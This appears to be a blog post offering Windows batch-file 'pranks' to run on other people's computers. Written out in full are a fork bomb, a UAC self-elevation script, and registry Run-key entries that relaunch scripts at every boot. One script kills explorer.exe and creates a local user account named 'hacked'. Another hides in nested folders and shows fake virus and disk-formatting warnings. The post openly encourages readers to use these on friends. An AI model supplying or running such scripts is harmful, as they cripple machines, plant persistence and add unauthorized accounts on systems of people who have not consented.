Here are some o the best and most dangerous Cmd pranks that i know of.
1. Fork Bomb
A fork bomb is a something that runs in an infinite loop. Copy this to a text file and save it as “anyname”.bat (a bat extension is important)
:BEGIN
start %0
GOTO BEGIN
Now to make it more complex we can add this file to the startup, so that whenever the person restarts his computer he/she might still get a slow computer
For that we are going to make another .bat file of any other name and fill it with the following code-
if _%1_==_payload_ goto :payload
:getadmin
echo %~nx0: elevating self
set vbs=%temp%\getadmin.vbs
echo Set UAC = CreateObject^("Shell.Application"^) >> "%vbs%"
echo UAC.ShellExecute "%~s0", "payload %~sdp0 %*", "", "runas", 1 >> "%vbs%"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
goto :eof
:payload
echo %~nx0: running payload with parameters:
echo %*
echo ---------------------------------------------------
cd /d %2
shift
shift
rem copy "anyname.bat" %AllUsers%\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
rem e.g.: perl myscript.pl %1 %2 %3 %4 %5 %6 %7 %8 %9
goto :eof
or the following code will also do-
@echo off reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v test /t reg_sz /d C:\folder\anyname.bat
2. Fake Trojan
This is a safe prank as it does not do anything but scare your friend.
The code for this prank is-
@echo off taskkill /f /im explorer.exe color 2 :prank pause echo malicous malware has been detected on your computer... pause echo attempting to contact your local windows firewall... pause echo access was denied...try again pause echo TROJAN INSTALLED net user hacked /add net user hacked hacker dir /s dir /s dir /s dir /s dir /s dir /s dir /s dir /s pause echo lmao you just got pranked :p pause :end prank
3. Fake Messages
Well this is another modified version of the previous one But it is more realistic and scary.
for the following prank we will be needing 2 batch file One called the installer and another that hides deep within a maze of subfolders. This prank will automatically kick off once the system reboots causing much difficulties to the user. Try it yourself
Installer.bat:
@echo off reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v test /t reg_sz /d C:\mazeof\subfolders\Running.bat
Running.bat:
@echo off taskkill /f /im explorer.exe msg * Warning your computer has detected a virus. msg * To remove the virus click OK or close this box msg * Your Hard drives are now being formatted msg * Please wait ........... msg * Wait more msg * Working msg * Contacting kaspersky msg * Doing Stuff... msg * This is annoying isnt it ? msg * Press Ok to Exit and restart msg * Oh well that didnt work out well
Thats all for now… Will be adding more in about a day or so, Till then do tell us how you used these in the comments section.
0 comments:
Post a Comment